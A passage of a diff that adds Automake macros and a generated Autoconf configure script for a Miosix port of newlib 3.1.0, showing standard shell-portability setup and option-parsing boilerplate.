inherits a ++ # broken ls alias from the environment. This has actually ++ # happened. Such a system could not be considered "sane". ++ AC_MSG_ERROR([ls -t appears to fail. Make sure there is not a broken ++alias in your environment]) ++ fi ++ ++ test "$[2]" = conftest.file ++ ) ++then ++ # Ok. ++ : ++else ++ AC_MSG_ERROR([newly created file is older than distributed files! ++Check your system clock]) ++fi ++AC_MSG_RESULT(yes)]) ++ ++# Copyright (C) 2001, 2003, 2005, 2011 Free Software Foundation, Inc. ++# ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# serial 1 ++ ++# AM_PROG_INSTALL_STRIP ++# --------------------- ++# One issue with vendor `install' (even GNU) is that you can't ++# specify the program used to strip binaries. This is especially ++# annoying in cross-compiling environments, where the build's strip ++# is unlikely to handle the host's binaries. ++# Fortunately install-sh will honor a STRIPPROG variable, so we ++# always use install-sh in `make install-strip', and initialize ++# STRIPPROG with the value of the STRIP variable (set by the user). ++AC_DEFUN([AM_PROG_INSTALL_STRIP], ++[AC_REQUIRE([AM_PROG_INSTALL_SH])dnl ++# Installed binaries are usually stripped using `strip' when the user ++# run `make install-strip'. However `strip' might not be the right ++# tool to use in cross-compilation environments, therefore Automake ++# will honor the `STRIP' environment variable to overrule this program. ++dnl Don't test for $cross_compiling = yes, because it might be `maybe'. ++if test "$cross_compiling" != no; then ++ AC_CHECK_TOOL([STRIP], [strip], :) ++fi ++INSTALL_STRIP_PROGRAM="\$(install_sh) -c -s" ++AC_SUBST([INSTALL_STRIP_PROGRAM])]) ++ ++# Copyright (C) 2006, 2008, 2010 Free Software Foundation, Inc. ++# ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# serial 3 ++ ++# _AM_SUBST_NOTMAKE(VARIABLE) ++# --------------------------- ++# Prevent Automake from outputting VARIABLE = @VARIABLE@ in Makefile.in. ++# This macro is traced by Automake. ++AC_DEFUN([_AM_SUBST_NOTMAKE]) ++ ++# AM_SUBST_NOTMAKE(VARIABLE) ++# -------------------------- ++# Public sister of _AM_SUBST_NOTMAKE. ++AC_DEFUN([AM_SUBST_NOTMAKE], [_AM_SUBST_NOTMAKE($@)]) ++ ++# Check how to create a tarball. -*- Autoconf -*- ++ ++# Copyright (C) 2004, 2005, 2012 Free Software Foundation, Inc. ++# ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# serial 2 ++ ++# _AM_PROG_TAR(FORMAT) ++# -------------------- ++# Check how to create a tarball in format FORMAT. ++# FORMAT should be one of `v7', `ustar', or `pax'. ++# ++# Substitute a variable $(am__tar) that is a command ++# writing to stdout a FORMAT-tarball containing the directory ++# $tardir. ++# tardir=directory && $(am__tar) > result.tar ++# ++# Substitute a variable $(am__untar) that extract such ++# a tarball read from stdin. ++# $(am__untar) < result.tar ++AC_DEFUN([_AM_PROG_TAR], ++[# Always define AMTAR for backward compatibility. Yes, it's still used ++# in the wild :-( We should find a proper way to deprecate it ... ++AC_SUBST([AMTAR], ['$${TAR-tar}']) ++m4_if([$1], [v7], ++ [am__tar='$${TAR-tar} chof - "$$tardir"' am__untar='$${TAR-tar} xf -'], ++ [m4_case([$1], [ustar],, [pax],, ++ [m4_fatal([Unknown tar format])]) ++AC_MSG_CHECKING([how to create a $1 tar archive]) ++# Loop over all known methods to create a tar archive until one works. ++_am_tools='gnutar m4_if([$1], [ustar], [plaintar]) pax cpio none' ++_am_tools=${am_cv_prog_tar_$1-$_am_tools} ++# Do not fold the above two line into one, because Tru64 sh and ++# Solaris sh will not grok spaces in the rhs of `-'. ++for _am_tool in $_am_tools ++do ++ case $_am_tool in ++ gnutar) ++ for _am_tar in tar gnutar gtar; ++ do ++ AM_RUN_LOG([$_am_tar --version]) && break ++ done ++ am__tar="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$$tardir"' ++ am__tar_="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$tardir"' ++ am__untar="$_am_tar -xf -" ++ ;; ++ plaintar) ++ # Must skip GNU tar: if it does not support --format= it doesn't create ++ # ustar tarball either. ++ (tar --version) >/dev/null 2>&1 && continue ++ am__tar='tar chf - "$$tardir"' ++ am__tar_='tar chf - "$tardir"' ++ am__untar='tar xf -' ++ ;; ++ pax) ++ am__tar='pax -L -x $1 -w "$$tardir"' ++ am__tar_='pax -L -x $1 -w "$tardir"' ++ am__untar='pax -r' ++ ;; ++ cpio) ++ am__tar='find "$$tardir" -print | cpio -o -H $1 -L' ++ am__tar_='find "$tardir" -print | cpio -o -H $1 -L' ++ am__untar='cpio -i -H $1 -d' ++ ;; ++ none) ++ am__tar=false ++ am__tar_=false ++ am__untar=false ++ ;; ++ esac ++ ++ # If the value was cached, stop now. We just wanted to have am__tar ++ # and am__untar set. ++ test -n "${am_cv_prog_tar_$1}" && break ++ ++ # tar/untar a dummy directory, and stop if the command works ++ rm -rf conftest.dir ++ mkdir conftest.dir ++ echo GrepMe > conftest.dir/file ++ AM_RUN_LOG([tardir=conftest.dir && eval $am__tar_ >conftest.tar]) ++ rm -rf conftest.dir ++ if test -s conftest.tar; then ++ AM_RUN_LOG([$am__untar /dev/null 2>&1 && break ++ fi ++done ++rm -rf conftest.dir ++ ++AC_CACHE_VAL([am_cv_prog_tar_$1], [am_cv_prog_tar_$1=$_am_tool]) ++AC_MSG_RESULT([$am_cv_prog_tar_$1])]) ++AC_SUBST([am__tar]) ++AC_SUBST([am__untar]) ++]) # _AM_PROG_TAR ++ ++m4_include([../../../acinclude.m4]) +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/configure newlib-3.1.0/newlib/libc/sys/miosix/configure +--- newlib-3.1.0-old/newlib/libc/sys/miosix/configure 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/configure 2024-07-26 22:02:58.649581998 +0200 +@@ -0,0 +1,4766 @@ ++#! /bin/sh ++# Guess values for system-dependent variables and create Makefiles. ++# Generated by GNU Autoconf 2.68 for newlib 3.1.0. ++# ++# ++# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001, ++# 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010 Free Software ++# Foundation, Inc. ++# ++# ++# This configure script is free software; the Free Software Foundation ++# gives unlimited permission to copy, distribute and modify it. ++## -------------------- ## ++## M4sh Initialization. ## ++## -------------------- ## ++ ++# Be more Bourne compatible ++DUALCASE=1; export DUALCASE # for MKS sh ++if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then : ++ emulate sh ++ NULLCMD=: ++ # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which ++ # is contrary to our usage. Disable this feature. ++ alias -g '${1+"$@"}'='"$@"' ++ setopt NO_GLOB_SUBST ++else ++ case `(set -o) 2>/dev/null` in #( ++ *posix*) : ++ set -o posix ;; #( ++ *) : ++ ;; ++esac ++fi ++ ++ ++as_nl=' ++' ++export as_nl ++# Printing a long string crashes Solaris 7 /usr/bin/printf. ++as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' ++as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo ++as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo ++# Prefer a ksh shell builtin over an external printf program on Solaris, ++# but without wasting forks for bash or zsh. ++if test -z "$BASH_VERSION$ZSH_VERSION" \ ++ && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then ++ as_echo='print -r --' ++ as_echo_n='print -rn --' ++elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then ++ as_echo='printf %s\n' ++ as_echo_n='printf %s' ++else ++ if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then ++ as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' ++ as_echo_n='/usr/ucb/echo -n' ++ else ++ as_echo_body='eval expr "X$1" : "X\\(.*\\)"' ++ as_echo_n_body='eval ++ arg=$1; ++ case $arg in #( ++ *"$as_nl"*) ++ expr "X$arg" : "X\\(.*\\)$as_nl"; ++ arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; ++ esac; ++ expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" ++ ' ++ export as_echo_n_body ++ as_echo_n='sh -c $as_echo_n_body as_echo' ++ fi ++ export as_echo_body ++ as_echo='sh -c $as_echo_body as_echo' ++fi ++ ++# The user is always right. ++if test "${PATH_SEPARATOR+set}" != set; then ++ PATH_SEPARATOR=: ++ (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { ++ (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || ++ PATH_SEPARATOR=';' ++ } ++fi ++ ++ ++# IFS ++# We need space, tab and new line, in precisely that order. Quoting is ++# there to prevent editors from complaining about space-tab. ++# (If _AS_PATH_WALK were called with IFS unset, it would disable word ++# splitting by setting IFS to empty value.) ++IFS=" "" $as_nl" ++ ++# Find who we are. Look in the path if we contain no directory separator. ++as_myself= ++case $0 in #(( ++ *[\\/]* ) as_myself=$0 ;; ++ *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break ++ done ++IFS=$as_save_IFS ++ ++ ;; ++esac ++# We did not find ourselves, most probably we were run as `sh COMMAND' ++# in which case we are not to be found in the path. ++if test "x$as_myself" = x; then ++ as_myself=$0 ++fi ++if test ! -f "$as_myself"; then ++ $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 ++ exit 1 ++fi ++ ++# Unset variables that we do not need and which cause bugs (e.g. in ++# pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1" ++# suppresses any "Segmentation fault" message there. '((' could ++# trigger a bug in pdksh 5.2.14. ++for as_var in BASH_ENV ENV MAIL MAILPATH ++do eval test x\${$as_var+set} = xset \ ++ && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : ++done ++PS1='$ ' ++PS2='> ' ++PS4='+ ' ++ ++# NLS nuisances. ++LC_ALL=C ++export LC_ALL ++LANGUAGE=C ++export LANGUAGE ++ ++# CDPATH. ++(unset CDPATH) >/dev/null 2>&1 && unset CDPATH ++ ++if test "x$CONFIG_SHELL" = x; then ++ as_bourne_compatible="if test -n \"\${ZSH_VERSION+set}\" && (emulate sh) >/dev/null 2>&1; then : ++ emulate sh ++ NULLCMD=: ++ # Pre-4.2 versions of Zsh do word splitting on \${1+\"\$@\"}, which ++ # is contrary to our usage. Disable this feature. ++ alias -g '\${1+\"\$@\"}'='\"\$@\"' ++ setopt NO_GLOB_SUBST ++else ++ case \`(set -o) 2>/dev/null\` in #( ++ *posix*) : ++ set -o posix ;; #( ++ *) : ++ ;; ++esac ++fi ++" ++ as_required="as_fn_return () { (exit \$1); } ++as_fn_success () { as_fn_return 0; } ++as_fn_failure () { as_fn_return 1; } ++as_fn_ret_success () { return 0; } ++as_fn_ret_failure () { return 1; } ++ ++exitcode=0 ++as_fn_success || { exitcode=1; echo as_fn_success failed.; } ++as_fn_failure && { exitcode=1; echo as_fn_failure succeeded.; } ++as_fn_ret_success || { exitcode=1; echo as_fn_ret_success failed.; } ++as_fn_ret_failure && { exitcode=1; echo as_fn_ret_failure succeeded.; } ++if ( set x; as_fn_ret_success y && test x = \"\$1\" ); then : ++ ++else ++ exitcode=1; echo positional parameters were not saved. ++fi ++test x\$exitcode = x0 || exit 1" ++ as_suggested=" as_lineno_1=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_1a=\$LINENO ++ as_lineno_2=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_2a=\$LINENO ++ eval 'test \"x\$as_lineno_1'\$as_run'\" != \"x\$as_lineno_2'\$as_run'\" && ++ test \"x\`expr \$as_lineno_1'\$as_run' + 1\`\" = \"x\$as_lineno_2'\$as_run'\"' || exit 1" ++ if (eval "$as_required") 2>/dev/null; then : ++ as_have_required=yes ++else ++ as_have_required=no ++fi ++ if test x$as_have_required = xyes && (eval "$as_suggested") 2>/dev/null; then : ++ ++else ++ as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++as_found=false ++for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ as_found=: ++ case $as_dir in #( ++ /*) ++ for as_base in sh bash ksh sh5; do ++ # Try only shells that exist, to save several forks. ++ as_shell=$as_dir/$as_base ++ if { test -f "$as_shell" || test -f "$as_shell.exe"; } && ++ { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$as_shell"; } 2>/dev/null; then : ++ CONFIG_SHELL=$as_shell as_have_required=yes ++ if { $as_echo "$as_bourne_compatible""$as_suggested" | as_run=a "$as_shell"; } 2>/dev/null; then : ++ break 2 ++fi ++fi ++ done;; ++ esac ++ as_found=false ++done ++$as_found || { if { test -f "$SHELL" || test -f "$SHELL.exe"; } && ++ { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$SHELL"; } 2>/dev/null; then : ++ CONFIG_SHELL=$SHELL as_have_required=yes ++fi; } ++IFS=$as_save_IFS ++ ++ ++ if test "x$CONFIG_SHELL" != x; then : ++ # We cannot yet assume a decent shell, so we have to provide a ++ # neutralization value for shells without unset; and this also ++ # works around shells that cannot unset nonexistent variables. ++ # Preserve -v and -x to the replacement shell. ++ BASH_ENV=/dev/null ++ ENV=/dev/null ++ (unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV ++ export CONFIG_SHELL ++ case $- in # (((( ++ *v*x* | *x*v* ) as_opts=-vx ;; ++ *v* ) as_opts=-v ;; ++ *x* ) as_opts=-x ;; ++ * ) as_opts= ;; ++ esac ++ exec "$CONFIG_SHELL" $as_opts "$as_myself" ${1+"$@"} ++fi ++ ++ if test x$as_have_required = xno; then : ++ $as_echo "$0: This script requires a shell more modern than all" ++ $as_echo "$0: the shells that I found on your system." ++ if test x${ZSH_VERSION+set} = xset ; then ++ $as_echo "$0: In particular, zsh $ZSH_VERSION has bugs and should" ++ $as_echo "$0: be upgraded to zsh 4.3.4 or later." ++ else ++ $as_echo "$0: Please tell bug-autoconf@gnu.org about your system, ++$0: including any error possibly output before this ++$0: message. Then install a modern shell, or manually run ++$0: the script under such a shell if you do have one." ++ fi ++ exit 1 ++fi ++fi ++fi ++SHELL=${CONFIG_SHELL-/bin/sh} ++export SHELL ++# Unset more variables known to interfere with behavior of common tools. ++CLICOLOR_FORCE= GREP_OPTIONS= ++unset CLICOLOR_FORCE GREP_OPTIONS ++ ++## --------------------- ## ++## M4sh Shell Functions. ## ++## --------------------- ## ++# as_fn_unset VAR ++# --------------- ++# Portably unset VAR. ++as_fn_unset () ++{ ++ { eval $1=; unset $1;} ++} ++as_unset=as_fn_unset ++ ++# as_fn_set_status STATUS ++# ----------------------- ++# Set $? to STATUS, without forking. ++as_fn_set_status () ++{ ++ return $1 ++} # as_fn_set_status ++ ++# as_fn_exit STATUS ++# ----------------- ++# Exit the shell with STATUS, even in a "trap 0" or "set -e" context. ++as_fn_exit () ++{ ++ set +e ++ as_fn_set_status $1 ++ exit $1 ++} # as_fn_exit ++ ++# as_fn_mkdir_p ++# ------------- ++# Create "$as_dir" as a directory, including parents if necessary. ++as_fn_mkdir_p () ++{ ++ ++ case $as_dir in #( ++ -*) as_dir=./$as_dir;; ++ esac ++ test -d "$as_dir" || eval $as_mkdir_p || { ++ as_dirs= ++ while :; do ++ case $as_dir in #( ++ *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( ++ *) as_qdir=$as_dir;; ++ esac ++ as_dirs="'$as_qdir' $as_dirs" ++ as_dir=`$as_dirname -- "$as_dir" || ++$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ ++ X"$as_dir" : 'X\(//\)[^/]' \| \ ++ X"$as_dir" : 'X\(//\)$' \| \ ++ X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || ++$as_echo X"$as_dir" | ++ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ ++ s//\1/ ++ q ++ } ++ /^X\(\/\/\)[^/].*/{ ++ s//\1/ ++ q ++ } ++ /^X\(\/\/\)$/{ ++ s//\1/ ++ q ++ } ++ /^X\(\/\).*/{ ++ s//\1/ ++ q ++ } ++ s/.*/./; q'` ++ test -d "$as_dir" && break ++ done ++ test -z "$as_dirs" || eval "mkdir $as_dirs" ++ } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir" ++ ++ ++} # as_fn_mkdir_p ++# as_fn_append VAR VALUE ++# ---------------------- ++# Append the text in VALUE to the end of the definition contained in VAR. Take ++# advantage of any shell optimizations that allow amortized linear growth over ++# repeated appends, instead of the typical quadratic growth present in naive ++# implementations. ++if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then : ++ eval 'as_fn_append () ++ { ++ eval $1+=\$2 ++ }' ++else ++ as_fn_append () ++ { ++ eval $1=\$$1\$2 ++ } ++fi # as_fn_append ++ ++# as_fn_arith ARG... ++# ------------------ ++# Perform arithmetic evaluation on the ARGs, and store the result in the ++# global $as_val. Take advantage of shells that can avoid forks. The arguments ++# must be portable across $(()) and expr. ++if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then : ++ eval 'as_fn_arith () ++ { ++ as_val=$(( $* )) ++ }' ++else ++ as_fn_arith () ++ { ++ as_val=`expr "$@" || test $? -eq 1` ++ } ++fi # as_fn_arith ++ ++ ++# as_fn_error STATUS ERROR [LINENO LOG_FD] ++# ---------------------------------------- ++# Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are ++# provided, also output the error to LOG_FD, referencing LINENO. Then exit the ++# script with STATUS, using 1 if that was 0. ++as_fn_error () ++{ ++ as_status=$1; test $as_status -eq 0 && as_status=1 ++ if test "$4"; then ++ as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack ++ $as_echo "$as_me:${as_lineno-$LINENO}: error: $2" >&$4 ++ fi ++ $as_echo "$as_me: error: $2" >&2 ++ as_fn_exit $as_status ++} # as_fn_error ++ ++if expr a : '\(a\)' >/dev/null 2>&1 && ++ test "X`expr 00001 : '.*\(...\)'`" = X001; then ++ as_expr=expr ++else ++ as_expr=false ++fi ++ ++if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then ++ as_basename=basename ++else ++ as_basename=false ++fi ++ ++if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then ++ as_dirname=dirname ++else ++ as_dirname=false ++fi ++ ++as_me=`$as_basename -- "$0" || ++$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ ++ X"$0" : 'X\(//\)$' \| \ ++ X"$0" : 'X\(/\)' \| . 2>/dev/null || ++$as_echo X/"$0" | ++ sed '/^.*\/\([^/][^/]*\)\/*$/{ ++ s//\1/ ++ q ++ } ++ /^X\/\(\/\/\)$/{ ++ s//\1/ ++ q ++ } ++ /^X\/\(\/\).*/{ ++ s//\1/ ++ q ++ } ++ s/.*/./; q'` ++ ++# Avoid depending upon Character Ranges. ++as_cr_letters='abcdefghijklmnopqrstuvwxyz' ++as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' ++as_cr_Letters=$as_cr_letters$as_cr_LETTERS ++as_cr_digits='0123456789' ++as_cr_alnum=$as_cr_Letters$as_cr_digits ++ ++ ++ as_lineno_1=$LINENO as_lineno_1a=$LINENO ++ as_lineno_2=$LINENO as_lineno_2a=$LINENO ++ eval 'test "x$as_lineno_1'$as_run'" != "x$as_lineno_2'$as_run'" && ++ test "x`expr $as_lineno_1'$as_run' + 1`" = "x$as_lineno_2'$as_run'"' || { ++ # Blame Lee E. McMahon (1931-1989) for sed's syntax. :-) ++ sed -n ' ++ p ++ /[$]LINENO/= ++ ' <$as_myself | ++ sed ' ++ s/[$]LINENO.*/&-/ ++ t lineno ++ b ++ :lineno ++ N ++ :loop ++ s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ ++ t loop ++ s/-\n.*// ++ ' >$as_me.lineno && ++ chmod +x "$as_me.lineno" || ++ { $as_echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2; as_fn_exit 1; } ++ ++ # Don't try to exec as it changes $[0], causing all sort of problems ++ # (the dirname of $[0] is not the place where we might find the ++ # original and so on. Autoconf is especially sensitive to this). ++ . "./$as_me.lineno" ++ # Exit status is that of the last command. ++ exit ++} ++ ++ECHO_C= ECHO_N= ECHO_T= ++case `echo -n x` in #((((( ++-n*) ++ case `echo 'xy\c'` in ++ *c*) ECHO_T=' ';; # ECHO_T is single tab character. ++ xy) ECHO_C='\c';; ++ *) echo `echo ksh88 bug on AIX 6.1` > /dev/null ++ ECHO_T=' ';; ++ esac;; ++*) ++ ECHO_N='-n';; ++esac ++ ++rm -f conf$$ conf$$.exe conf$$.file ++if test -d conf$$.dir; then ++ rm -f conf$$.dir/conf$$.file ++else ++ rm -f conf$$.dir ++ mkdir conf$$.dir 2>/dev/null ++fi ++if (echo >conf$$.file) 2>/dev/null; then ++ if ln -s conf$$.file conf$$ 2>/dev/null; then ++ as_ln_s='ln -s' ++ # ... but there are two gotchas: ++ # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. ++ # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. ++ # In both cases, we have to default to `cp -p'. ++ ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || ++ as_ln_s='cp -p' ++ elif ln conf$$.file conf$$ 2>/dev/null; then ++ as_ln_s=ln ++ else ++ as_ln_s='cp -p' ++ fi ++else ++ as_ln_s='cp -p' ++fi ++rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file ++rmdir conf$$.dir 2>/dev/null ++ ++if mkdir -p . 2>/dev/null; then ++ as_mkdir_p='mkdir -p "$as_dir"' ++else ++ test -d ./-p && rmdir ./-p ++ as_mkdir_p=false ++fi ++ ++if test -x / >/dev/null 2>&1; then ++ as_test_x='test -x' ++else ++ if ls -dL / >/dev/null 2>&1; then ++ as_ls_L_option=L ++ else ++ as_ls_L_option= ++ fi ++ as_test_x=' ++ eval sh -c '\'' ++ if test -d "$1"; then ++ test -d "$1/."; ++ else ++ case $1 in #( ++ -*)set "./$1";; ++ esac; ++ case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in #(( ++ ???[sx]*):;;*)false;;esac;fi ++ '\'' sh ++ ' ++fi ++as_executable_p=$as_test_x ++ ++# Sed expression to map a string onto a valid CPP name. ++as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" ++ ++# Sed expression to map a string onto a valid variable name. ++as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" ++ ++ ++test -n "$DJDIR" || exec 7<&0 &1 ++ ++# Name of the host. ++# hostname on some systems (SVR3.2, old GNU/Linux) returns a bogus exit status, ++# so uname gets run too. ++ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q` ++ ++# ++# Initializations. ++# ++ac_default_prefix=/usr/local ++ac_clean_files= ++ac_config_libobj_dir=. ++LIBOBJS= ++cross_compiling=no ++subdirs= ++MFLAGS= ++MAKEFLAGS= ++ ++# Identity of this package. ++PACKAGE_NAME='newlib' ++PACKAGE_TARNAME='newlib' ++PACKAGE_VERSION='3.1.0' ++PACKAGE_STRING='newlib 3.1.0' ++PACKAGE_BUGREPORT='' ++PACKAGE_URL='' ++ ++ac_unique_file="termios.c" ++ac_subst_vars='LTLIBOBJS ++LIBOBJS ++sys_dir ++machine_dir ++libm_machine_dir ++lpfx ++aext ++oext ++OBJEXT ++USE_LIBTOOL_FALSE ++USE_LIBTOOL_TRUE ++ELIX_LEVEL_4_FALSE ++ELIX_LEVEL_4_TRUE ++ELIX_LEVEL_3_FALSE ++ELIX_LEVEL_3_TRUE ++ELIX_LEVEL_2_FALSE ++ELIX_LEVEL_2_TRUE ++ELIX_LEVEL_1_FALSE ++ELIX_LEVEL_1_TRUE ++ELIX_LEVEL_0_FALSE ++ELIX_LEVEL_0_TRUE ++LDFLAGS ++NO_INCLUDE_LIST ++NEWLIB_CFLAGS ++CCASFLAGS ++CCAS ++MAINT ++MAINTAINER_MODE_FALSE ++MAINTAINER_MODE_TRUE ++READELF ++RANLIB ++AR ++AS ++am__fastdepCC_FALSE ++am__fastdepCC_TRUE ++CCDEPMODE ++am__nodep ++AMDEPBACKSLASH ++AMDEP_FALSE ++AMDEP_TRUE ++am__quote ++am__include ++DEPDIR ++CC ++am__untar ++am__tar ++AMTAR ++am__leading_dot ++SET_MAKE ++AWK ++mkdir_p ++MKDIR_P ++INSTALL_STRIP_PROGRAM ++STRIP ++install_sh ++MAKEINFO ++AUTOHEADER ++AUTOMAKE ++AUTOCONF ++ACLOCAL ++VERSION ++PACKAGE ++CYGPATH_W ++am__isrc ++INSTALL_DATA ++INSTALL_SCRIPT ++INSTALL_PROGRAM ++host_os ++host_vendor ++host_cpu ++host ++build_os ++build_vendor ++build_cpu ++build ++newlib_basedir ++MAY_SUPPLY_SYSCALLS_FALSE ++MAY_SUPPLY_SYSCALLS_TRUE ++target_alias ++host_alias ++build_alias ++LIBS ++ECHO_T ++ECHO_N ++ECHO_C ++DEFS ++mandir ++localedir ++libdir ++psdir ++pdfdir ++dvidir ++htmldir ++infodir ++docdir ++oldincludedir ++includedir ++localstatedir ++sharedstatedir ++sysconfdir ++datadir ++datarootdir ++libexecdir ++sbindir ++bindir ++program_transform_name ++prefix ++exec_prefix ++PACKAGE_URL ++PACKAGE_BUGREPORT ++PACKAGE_STRING ++PACKAGE_VERSION ++PACKAGE_TARNAME ++PACKAGE_NAME ++PATH_SEPARATOR ++SHELL' ++ac_subst_files='' ++ac_user_opts=' ++enable_option_checking ++enable_multilib ++enable_target_optspace ++enable_malloc_debugging ++enable_newlib_multithread ++enable_newlib_iconv ++enable_newlib_elix_level ++enable_newlib_io_float ++enable_newlib_supplied_syscalls ++enable_newlib_fno_builtin ++enable_dependency_tracking ++enable_maintainer_mode ++' ++ ac_precious_vars='build_alias ++host_alias ++target_alias ++CCAS ++CCASFLAGS' ++ ++ ++# Initialize some variables set by options. ++ac_init_help= ++ac_init_version=false ++ac_unrecognized_opts= ++ac_unrecognized_sep= ++# The variables have the same names as the options, with ++# dashes changed to underlines. ++cache_file=/dev/null ++exec_prefix=NONE ++no_create= ++no_recursion= ++prefix=NONE ++program_prefix=NONE ++program_suffix=NONE ++program_transform_name=s,x,x, ++silent= ++site= ++srcdir= ++verbose= ++x_includes=NONE ++x_libraries=NONE ++ ++# Installation directory options. ++# These are left unexpanded so users can "make install exec_prefix=/foo" ++# and all the variables that are supposed to be based on exec_prefix ++# by default will actually change. ++# Use braces instead of parens because sh, perl, etc. also accept them. ++# (The list follows the same order as the GNU Coding Standards.) ++bindir='${exec_prefix}/bin' ++sbindir='${exec_prefix}/sbin' ++libexecdir='${exec_prefix}/libexec' ++datarootdir='${prefix}/share' ++datadir='${datarootdir}' ++sysconfdir='${prefix}/etc' ++sharedstatedir='${prefix}/com' ++localstatedir='${prefix}/var' ++includedir='${prefix}/include' ++oldincludedir='/usr/include' ++docdir='${datarootdir}/doc/${PACKAGE_TARNAME}' ++infodir='${datarootdir}/info' ++htmldir='${docdir}' ++dvidir='${docdir}' ++pdfdir='${docdir}' ++psdir='${docdir}' ++libdir='${exec_prefix}/lib' ++localedir='${datarootdir}/locale' ++mandir='${datarootdir}/man' ++ ++ac_prev= ++ac_dashdash= ++for ac_option ++do ++ # If the previous option needs an argument, assign it. ++ if test -n "$ac_prev"; then ++ eval $ac_prev=\$ac_option ++ ac_prev= ++ continue ++ fi ++ ++ case $ac_option in ++ *=?*) ac_optarg=`expr "X$ac_option" : '[^=]*=\(.*\)'` ;; ++ *=) ac_optarg= ;; ++ *) ac_optarg=yes ;; ++ esac ++ ++ # Accept the important Cygnus configure options, so we can diagnose typos. ++ ++ case $ac_dashdash$ac_option in ++ --) ++ ac_dashdash=yes ;; ++ ++ -bindir | --bindir | --bindi | --bind | --bin | --bi) ++ ac_prev=bindir ;; ++ -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) ++ bindir=$ac_optarg ;; ++ ++ -build | --build | --buil | --bui | --bu) ++ ac_prev=build_alias ;; ++ -build=* | --build=* | --buil=* | --bui=* | --bu=*) ++ build_alias=$ac_optarg ;; ++ ++ -cache-file | --cache-file | --cache-fil | --cache-fi \ ++ | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) ++ ac_prev=cache_file ;; ++ -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ ++ | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) ++ cache_file=$ac_optarg ;; ++ ++ --config-cache | -C) ++ cache_file=config.cache ;; ++ ++ -datadir | --datadir | --datadi | --datad) ++ ac_prev=datadir ;; ++ -datadir=* | --datadir=* | --datadi=* | --datad=*) ++ datadir=$ac_optarg ;; ++ ++ -datarootdir | --datarootdir | 